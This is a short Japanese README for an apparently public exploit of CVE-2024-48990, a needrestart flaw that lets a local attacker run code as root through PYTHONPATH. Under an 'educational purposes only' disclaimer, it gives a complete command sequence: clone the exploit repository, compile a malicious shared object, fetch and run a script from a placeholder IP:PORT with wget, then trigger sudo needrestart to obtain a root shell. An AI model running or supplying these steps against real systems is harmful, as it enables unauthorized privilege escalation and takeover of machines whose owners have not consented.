
[!WARNING] これらのファイルおよび情報は教育目的のみを意図しています。 著者は悪意のある行為について一切責任を負いません。 提供されるすべての情報は、いかなる犯罪や悪用を助長するものではありません。
Qualys は、バージョン 3.8 より前の needrestart において、ローカルの攻撃者が PYTHONPATH 環境変数を制御して needrestart に Python インタープリターを実行させることで、root として任意のコードを実行できることを発見しました。公式の詳細は NIST を確認してください。
git clone https://github.com/grecosamuel/CVE-2024-48990.git
gcc -shared -fPIC -o __init__.so exploit.c
python3 -m http.server
wget http://IP:PORT/runner.sh
chmod +x runner.sh
./runner.sh
sudo needrestart
[*] CVE module created と表示されたら、CTRL+C を押してプロセスを停止し、シェルを取得します。